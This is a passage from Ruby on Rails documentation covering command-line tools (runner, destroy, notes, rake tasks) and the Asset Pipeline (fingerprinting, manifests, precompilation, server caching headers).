rails dbconsole figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3.

You can also use the alias "db" to invoke the dbconsole: rails db.

1.6 rails runner

runner runs Ruby code in the context of Rails non-interactively. For instance:

$ bin/rails runner "Model.long_running_method"

You can also use the alias "r" to invoke the runner: rails r.

You can specify the environment in which the runner command should operate using the -e switch.

$ bin/rails runner -e staging "Model.long_running_method"

You can even execute ruby code written in a file with runner.

$ bin/rails runner lib/code_to_be_run.rb

1.7 rails destroy

Think of destroy as the opposite of generate. It'll figure out what generate did, and undo it.

You can also use the alias "d" to invoke the destroy command: rails d.

$ bin/rails generate model Oops
invoke  active_record
create    db/migrate/20120528062523_create_oops.rb
create    app/models/oops.rb
invoke    test_unit
create      test/models/oops_test.rb
create      test/fixtures/oops.yml

$ bin/rails destroy model Oops
invoke  active_record
remove    db/migrate/20120528062523_create_oops.rb
remove    app/models/oops.rb
invoke    test_unit
remove      test/models/oops_test.rb
remove      test/fixtures/oops.yml

2 bin/rails

Since Rails 5.0+ has rake commands built into the rails executable, bin/rails is the new default for running commands.

You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing bin/rails --help. Each task has a description, and should help you find the thing you need.

$ bin/rails --help
Usage: rails COMMAND [ARGS]

The most common rails commands are:
generate    Generate new code (short-cut alias: "g")
console     Start the Rails console (short-cut alias: "c")
server      Start the Rails server (short-cut alias: "s")
...

All commands can be run with -h (or --help) for more information.

In addition to those commands, there are:
about                               List versions of all Rails ...
assets:clean[keep]                  Remove old compiled assets
assets:clobber                      Remove compiled assets
assets:environment                  Load asset compile environment
assets:precompile                   Compile all the assets ...
...
db:fixtures:load                    Loads fixtures into the ...
db:migrate                          Migrate the database ...
db:migrate:status                   Display status of migrations
db:rollback                         Rolls the schema back to ...
db:schema:cache:clear               Clears a db/schema_cache.dump file
db:schema:cache:dump                Creates a db/schema_cache.dump file
db:schema:dump                      Creates a db/schema.rb file ...
db:schema:load                      Loads a schema.rb file ...
db:seed                             Loads the seed data ...
db:structure:dump                   Dumps the database structure ...
db:structure:load                   Recreates the databases ...
db:version                          Retrieves the current schema ...
...
restart                             Restart app by touching ...
tmp:create                          Creates tmp directories ...

You can also use bin/rails -T to get the list of tasks.

2.1 about

bin/rails about gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

$ bin/rails about
About your application's environment
Rails version             5.0.0
Ruby version              2.2.2 (x86_64-linux)
RubyGems version          2.4.6
Rack version              1.6
JavaScript Runtime        Node.js (V8)
Middleware                Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root          /home/foobar/commandsapp
Environment               development
Database adapter          sqlite3
Database schema version   20110805173523

2.2 assets

You can precompile the assets in app/assets using bin/rails assets:precompile, and remove older compiled assets using bin/rails assets:clean. The assets:clean task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.

If you want to clear public/assets completely, you can use bin/rails assets:clobber.

2.3 db

The most common tasks of the db: bin/rails namespace are migrate and create, and it will pay off to try out all of the migration bin/rails tasks (up, down, redo, reset). bin/rails db:version is useful when troubleshooting, telling you the current version of the database.

More information about migrations can be found in the Migrations guide.

2.4 notes

bin/rails notes will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension .builder, .rb, .rake, .yml, .yaml, .ruby, .css, .js and .erb for both default and custom annotations.

$ bin/rails notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy

app/models/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]

You can add support for new file extensions using config.annotations.register_extensions option, which receives a list of the extensions with its corresponding regex to match it up.

config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }

If you are looking for a specific annotation, say FIXME, you can use bin/rails notes:fixme. Note that you have to lower case the annotation's name.

$ bin/rails notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [132] high priority for next deploy

app/models/school.rb:
* [ 17]

You can also use custom annotations in your code and list them using bin/rails notes:custom by specifying the annotation using an environment variable ANNOTATION.

$ bin/rails notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/models/article.rb:
* [ 23] Have to fix this one before pushing!

When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.

By default, rails notes will look in the app, config, db, lib and test directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable SOURCE_ANNOTATION_DIRECTORIES.

$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
$ bin/rails notes
(in /home/foobar/commandsapp)
app/models/user.rb:
* [ 35] [FIXME] User should have a subscription at this point
spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works

2.5 routes

rails routes will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.

2.6 test

A good description of unit testing in Rails is given in A Guide to Testing Rails Applications

Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the test: namespace helps in running the different tests you will hopefully write.

2.7 tmp

The Rails.root/tmp directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.

The tmp: namespaced tasks will help you clear and create the Rails.root/tmp directory:

- rails tmp:cache:clear clears tmp/cache.

- rails tmp:sockets:clear clears tmp/sockets.

- rails tmp:clear clears all cache and sockets files.

- rails tmp:create creates tmp directories for cache, sockets and pids.

2.8 Miscellaneous

- rails stats is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.

- rails secret will give you a pseudo-random key to use for your session secret.

- rails time:zones:all lists all the timezones Rails knows about.

2.9 Custom Rake Tasks

Custom rake tasks have a .rake extension and are placed in Rails.root/lib/tasks. You can create these custom rake tasks with the bin/rails generate task command.

desc "I am short, but comprehensive description for my cool task"
task task_name: [:prerequisite_task, :another_task_we_depend_on] do
# All your magic here
# Any valid Ruby code is allowed
end

To pass arguments to your custom rake task:

task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args|
argument_1 = args.arg_1
end

You can group tasks by placing them in namespaces:

namespace :db do
desc "This task does nothing"
task :nothing do
# Seriously, nothing
end
end

Invocation of the tasks will look like:

$ bin/rails task_name
$ bin/rails "task_name[value 1]" # entire argument string should be quoted
$ bin/rails db:nothing

If your need to interact with your application models, perform database queries and so on, your task should depend on the environment task, which will load your application code.

3 The Rails Advanced Command Line

More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.

3.1 Rails with Databases and SCM

When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.

Let's see what a --git option and a --database=postgresql option will do for us:

$ mkdir gitapp
$ cd gitapp
$ git init
Initialized empty Git repository in .git/
$ rails new . --git --database=postgresql
exists
create  app/controllers
create  app/helpers
...
...
create  tmp/cache
create  tmp/pids
create  Rakefile
add 'Rakefile'
create  README.md
add 'README.md'
create  app/controllers/application_controller.rb
add 'app/controllers/application_controller.rb'
create  app/helpers/application_helper.rb
...
create  log/test.log
add 'log/test.log'

We had to create the gitapp directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:

$ cat config/database.yml
# PostgreSQL. Versions 9.1 and up are supported.
#
# Install the pg driver:
#   gem install pg
# On OS X with Homebrew:
#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On OS X with MacPorts:
#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
# On Windows:
#   gem install pg
#       Choose the win32 build.
#       Install PostgreSQL and put its /bin directory on your path.
#
# Configure Using Gemfile
# gem 'pg'
#
development:
adapter: postgresql
encoding: unicode
database: gitapp_development
pool: 5
username: gitapp
password:
...
...

It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.

The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the rails new command to generate the basis of your app.

The Asset Pipeline — Ruby on Rails...

1 What is the Asset Pipeline?

The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages and pre-processors such as CoffeeScript, Sass and ERB. It allows assets in your application to be automatically combined with assets from other gems. For example, jquery-rails includes a copy of jquery.js and enables AJAX features in Rails.

The asset pipeline is implemented by the sprockets-rails gem, and is enabled by default. You can disable it while creating a new application by passing the --skip-sprockets option.

rails new appname --skip-sprockets

Rails automatically adds the sass-rails, coffee-rails and uglifier gems to your Gemfile, which are used by Sprockets for asset compression:

gem 'sass-rails'
gem 'uglifier'
gem 'coffee-rails'

Using the --skip-sprockets option will prevent Rails from adding them to your Gemfile, so if you later want to enable the asset pipeline you will have to add those gems to your Gemfile. Also, creating an application with the --skip-sprockets option will generate a slightly different config/application.rb file, with a require statement for the sprockets railtie that is commented-out. You will have to remove the comment operator on that line to later enable the asset pipeline:

# require "sprockets/railtie"

To set asset compression methods, set the appropriate configuration options in production.rb - config.assets.css_compressor for your CSS and config.assets.js_compressor for your JavaScript:

config.assets.css_compressor = :yui
config.assets.js_compressor = :uglifier

The sass-rails gem is automatically used for CSS compression if included in the Gemfile and no config.assets.css_compressor option is set.

1.1 Main Features

The first feature of the pipeline is to concatenate assets, which can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.

Sprockets concatenates all JavaScript files into one master .js file and all CSS files into one master .css file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.

The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.

The third feature of the asset pipeline is it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.

1.2 What is Fingerprinting and Why Should I Care?

Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.

When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as cache busting.

The technique sprockets uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file global.css

global-908e25f4bf641868d8683022a5b62f54.css

This is the strategy adopted by the Rails asset pipeline.

Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:

/stylesheets/global.css?1309495796

The query string strategy has several disadvantages:

1. Not all caches will reliably cache content where the filename only differs by query parameters Steve Souders recommends, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.

2. The file name can change between nodes in multi-server environments. The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.

3. Too much cache invalidation When static assets are deployed with each new release of code, the mtime (time of last modification) of all these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.

Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.

Fingerprinting is enabled by default for both the development and production environments. You can enable or disable it in your configuration through the config.assets.digest option.

More reading:

- Optimize caching

- Revving Filenames: don't use querystring

2 How to Use the Asset Pipeline

In previous versions of Rails, all assets were located in subdirectories of public such as images, javascripts and stylesheets. With the asset pipeline, the preferred location for these assets is now the app/assets directory. Files in this directory are served by the Sprockets middleware.

Assets can still be placed in the public hierarchy. Any assets under public will be served as static files by the application or web server when config.public_file_server.enabled is set to true. You should use app/assets for files that must undergo some pre-processing before they are served.

In production, Rails precompiles these files to public/assets by default. The precompiled copies are then served as static assets by the web server. The files in app/assets are never served directly in production.

2.1 Controller Specific Assets

When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the coffee-rails gem is in the Gemfile) and a Cascading Style Sheet file (or SCSS file if sass-rails is in the Gemfile) for that controller. Additionally, when generating a scaffold, Rails generates the file scaffolds.css (or scaffolds.scss if sass-rails is in the Gemfile.)

For example, if you generate a ProjectsController, Rails will also add a new file at app/assets/javascripts/projects.coffee and another at app/assets/stylesheets/projects.scss. By default these files will be ready to use by your application immediately using the require_tree directive. See Manifest Files and Directives for more details on require_tree.

You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following:

<%= javascript_include_tag params[:controller] %> or <%= stylesheet_link_tag params[:controller] %>

When doing this, ensure you are not using the require_tree directive, as that will result in your assets being included more than once.

When using asset precompilation, you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. See Precompiling Assets for more information on how precompiling works.

You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows, you have a JavaScript runtime installed in your operating system. Check ExecJS documentation to know all supported JavaScript runtimes.

You can also disable generation of controller specific asset files by adding the following to your config/application.rb configuration:

config.generators do |g|
g.assets false
end

2.2 Asset Organization

Pipeline assets can be placed inside an application in one of three locations: app/assets, lib/assets or vendor/assets.

- app/assets is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.

- lib/assets is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.

- vendor/assets is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. Keep in mind that third party code with references to other files also processed by the asset Pipeline (images, stylesheets, etc.), will need to be rewritten to use helpers like asset_path.

If you are upgrading from Rails 3, please take into account that assets under lib/assets or vendor/assets are available for inclusion via the application manifests but no longer part of the precompile array. See Precompiling Assets for guidance.

2.2.1 Search Paths

When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.

The default locations are: the images, javascripts and stylesheets directories under the app/assets folder, but these subdirectories are not special - any path under assets/* will be searched.

For example, these files:

app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js

would be referenced in a manifest like this:

//= require home
//= require moovinator
//= require slider
//= require phonebox

Assets inside subdirectories can also be accessed.

app/assets/javascripts/sub/something.js

is referenced as:

//= require sub/something

You can view the search path by inspecting Rails.application.config.assets.paths in the Rails console.

Besides the standard assets/* paths, additional (fully qualified) paths can be added to the pipeline in config/application.rb. For example:

config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")

Paths are traversed in the order they occur in the search path. By default, this means the files in app/assets take precedence, and will mask corresponding paths in lib and vendor.

It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.

2.2.2 Using Index Files

Sprockets uses files named index (with the relevant extensions) for a special purpose.

For example, if you have a jQuery library with many modules, which is stored in lib/assets/javascripts/library_name, the file lib/assets/javascripts/library_name/index.js serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple require_tree directive.

The library as a whole can be accessed in the application manifest like so:

//= require library_name

This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.

2.3 Coding Links to Assets

Sprockets does not add any new methods to access your assets - you still use the familiar javascript_include_tag and stylesheet_link_tag:

<%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>

If using the turbolinks gem, which is included by default in Rails, then include the 'data-turbolinks-track' option which causes turbolinks to check if an asset has been updated and if so loads it into the page:

<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>

In regular views you can access images in the public/assets/images directory like this:

<%= image_tag "rails.png" %>

Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at public/assets/rails.png it is served by the web server.

Alternatively, a request for a file with an MD5 hash such as public/assets/rails-af27b6a414e6da00003503148be9b409.png is treated the same way. How these hashes are generated is covered in the In Production section later on in this guide.

Sprockets will also look through the paths specified in config.assets.paths, which includes the standard application paths and any paths added by Rails engines.

Images can also be organized into subdirectories if required, and then can be accessed by specifying the directory's name in the tag:

<%= image_tag "icons/rails.png" %>

If you're precompiling your assets (see In Production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using image_tag and the other helpers with user-supplied data.

2.3.1 CSS and ERB

The asset pipeline automatically evaluates ERB. This means if you add an erb extension to a CSS asset (for example, application.css.erb), then helpers like asset_path are available in your CSS rules:

.class { background-image: url(<%= asset_path 'image.png' %>) }

This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as app/assets/images/image.png, which would be referenced here. If this image is already available in public/assets as a fingerprinted file, then that path is referenced.

If you want to use a data URI - a method of embedding the image data directly into the CSS file - you can use the asset_data_uri helper.

#logo { background: url(<%= asset_data_uri 'logo.png' %>) }

This inserts a correctly-formatted data URI into the CSS source.

Note that the closing tag cannot be of the style -%>.

2.3.2 CSS and Sass

When using the asset pipeline, paths to assets must be re-written and sass-rails provides -url and -path helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.

- image-url("rails.png") returns url(/assets/rails.png)

- image-path("rails.png") returns "/assets/rails.png"

The more generic form can also be used:

- asset-url("rails.png") returns url(/assets/rails.png)

- asset-path("rails.png") returns "/assets/rails.png"

2.3.3 JavaScript/CoffeeScript and ERB

If you add an erb extension to a JavaScript asset, making it something such as application.js.erb, you can then use the asset_path helper in your JavaScript code:

$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });

This writes the path to the particular asset being referenced.

Similarly, you can use the asset_path helper in CoffeeScript files with erb extension (e.g., application.coffee.erb):

$('#logo').attr src: "<%= asset_path('logo.png') %>"

2.4 Manifest Files and Directives

Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain directives - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (based on value of Rails.application.config.assets.js_compressor). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces file size, enabling the browser to download them faster.

For example, a new Rails application includes a default app/assets/javascripts/application.js file containing the following lines:

// ...
//= require jquery
//= require jquery_ujs
//= require_tree .

In JavaScript files, Sprockets directives begin with //=. In the above case, the file is using the require and the require_tree directives. The require directive is used to tell Sprockets the files you wish to require. Here, you are requiring the files jquery.js and jquery_ujs.js that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a .js file when done from within a .js file.

The require_tree directive tells Sprockets to recursively include all JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the require_directory directive which includes all JavaScript files only in the directory specified, without recursion.

Directives are processed top to bottom, but the order in which files are included by require_tree is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of require directives prevents files from being included twice in the output.

Rails also creates a default app/assets/stylesheets/application.css file which contains these lines:

/* ...
*= require_self
*= require_tree .
*/

Rails creates both app/assets/javascripts/application.js and app/assets/stylesheets/application.css regardless of whether the --skip-sprockets option is used when creating a new rails application. This is so you can easily add asset pipelining later if you like.

The directives that work in JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The require_tree directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.

In this example, require_self is used. This puts the CSS contained within the file (if any) at the precise location of the require_self call.

If you want to use multiple Sass files, you should generally use the Sass @import rule instead of these Sprockets directives. When using Sprockets directives, Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.

You can do file globbing as well using @import "*", and @import "**/*" to add the whole tree which is equivalent to how require_tree works. Check the sass-rails documentation for more info and important caveats.

You can have as many manifest files as you need. For example, the admin.css and admin.js manifest could contain the JS and CSS files that are used for the admin section of an application.

The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:

/* ...
*= require reset
*= require layout
*= require chrome
*/

2.5 Preprocessing

The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an app/assets/javascripts/projects.coffee and an app/assets/stylesheets/projects.scss file.

In development mode, or if the asset pipeline is disabled, when these files are requested they are processed by the processors provided by the coffee-script and sass gems and then sent back to the browser as JavaScript and CSS respectively. When asset pipelining is enabled, these files are preprocessed and placed in the public/assets directory for serving by either the Rails app or web server.

Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called app/assets/stylesheets/projects.scss.erb is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file - app/assets/javascripts/projects.coffee.erb is processed as ERB, then CoffeeScript, and served as JavaScript.

Keep in mind the order of these preprocessors is important. For example, if you called your JavaScript file app/assets/javascripts/projects.erb.coffee then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.

3 In Development

In development mode, assets are served as separate files in the order they are specified in the manifest file.

This manifest app/assets/javascripts/application.js:

//= require core
//= require projects
//= require tickets

would generate this HTML:

<script src="/assets/core.js?body=1"></script>
<script src="/assets/projects.js?body=1"></script>
<script src="/assets/tickets.js?body=1"></script>

The body param is required by Sprockets.

3.1 Runtime Error Checking

By default the asset pipeline will check for potential errors in development mode during runtime. To disable this behavior you can set:

config.assets.raise_runtime_errors = false

When this option is true, the asset pipeline will check if all the assets loaded in your application are included in the config.assets.precompile list. If config.assets.digest is also true, the asset pipeline will require that all requests for assets include digests.

3.2 Turning Digests Off

You can turn off digests by updating config/environments/development.rb to include:

config.assets.digest = false

When this option is true, digests will be generated for asset URLs.

3.3 Turning Debugging Off

You can turn off debug mode by updating config/environments/development.rb to include:

config.assets.debug = false

When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:

<script src="/assets/application.js"></script>

Assets are compiled and cached on the first request after the server is started. Sprockets sets a must-revalidate Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (Not Modified) response.

If any of the files in the manifest have changed between requests, the server responds with a new compiled file.

Debug mode can also be enabled in Rails helper methods:

<%= stylesheet_link_tag "application", debug: true %>
<%= javascript_include_tag "application", debug: true %>

The :debug option is redundant if debug mode is already on.

You can also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.

4 In Production

In the production environment Sprockets uses the fingerprinting scheme outlined above. By default Rails assumes assets have been precompiled and will be served as static assets by your web server.

During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disk. These fingerprinted names are used by the Rails helpers in place of the manifest name.

For example this:

<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>

generates something like this:

<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
rel="stylesheet" />

with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the javascript_include_tag and stylesheet_link_tag.

The fingerprinting behavior is controlled by the config.assets.digest initialization option (which defaults to true).

Under normal circumstances the default config.assets.digest option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.

4.1 Precompiling Assets

Rails comes bundled with a task to compile the asset manifests and other files in the pipeline.

Compiled assets are written to the location specified in config.assets.prefix. By default, this is the /assets directory.

You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.

The task is:

$ RAILS_ENV=production bin/rails assets:precompile

Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. Add the following line to Capfile:

load 'deploy/assets'

This links the folder specified in config.assets.prefix to shared/assets. If you already use this shared folder you'll need to write your own deployment task.

It is important that this folder is shared between deployments so that remotely cached pages referencing the old compiled assets still work for the life of the cached page.

The default matcher for compiling files includes application.js, application.css and all non-JS/CSS files (this will include all image assets automatically) from app/assets folders including your gems:

[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
/application.(css|js)$/ ]

The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and .scss files are not automatically included as they compile to JS/CSS.

If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the precompile array in config/initializers/assets.rb:

Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']

Always specify an expected compiled filename that ends with .js or .css, even if you want to add Sass or CoffeeScript files to the precompile array.

The task also generates a manifest-md5hash.json that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:

{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"application.js":
"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}

The default location for the manifest is the root of the location specified in config.assets.prefix ('/assets' by default).

If there are missing precompiled files in production you will get an Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError exception indicating the name of the missing file(s).

4.1.1 Far-future Expires Header

Precompiled assets exist on the file system and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add those headers.

For Apache:

# The Expires* directives requires the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
FileETag None
# RFC says only cache for 1 year
ExpiresActive On
ExpiresDefault "access plus 1 year"
</Location>

For NGINX:

location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;

add_header ETag "";
}

4.2 Local Precompilation

There are several reasons why you might want to precompile your assets locally. Among them are:

- You may not have write access to your production file system.

- You may be deploying to more than one server, and want to avoid duplication of work.

- You may be doing frequent deploys that do not include asset changes.

Local compilation allows you to commit the compiled files into source control, and deploy as normal.

There are three caveats:

- You must not run the Capistrano deployment task that precompiles assets.

- You must ensure any necessary compressors or minifiers are available on your development system.

- You must change the following application configuration setting:

In config/environments/development.rb, place the following line:

config.assets.prefix = "/dev-assets"

The prefix change makes Sprockets use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to /assets in the production environment. Without this change, the application would serve the precompiled assets from /assets in development, and you would not see any local changes until you compile assets again.

In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.

4.3 Live Compilation

In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.

To enable this option set:

config.assets.compile = true

On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.

Sprockets also sets the Cache-Control HTTP header to max-age=31536000. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.

This mode uses more memory, performs more poorly than the default and is not recommended.

If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:

group :production do
gem 'therubyracer'
end

4.4 CDNs

CDN stands for Content Delivery Network, they are primarily designed to cache assets all over the world so that when a browser requests the asset, a cached copy will be geographically close to that browser. If you are serving assets directly from your Rails server in production, the best practice is to use a CDN in front of your application.

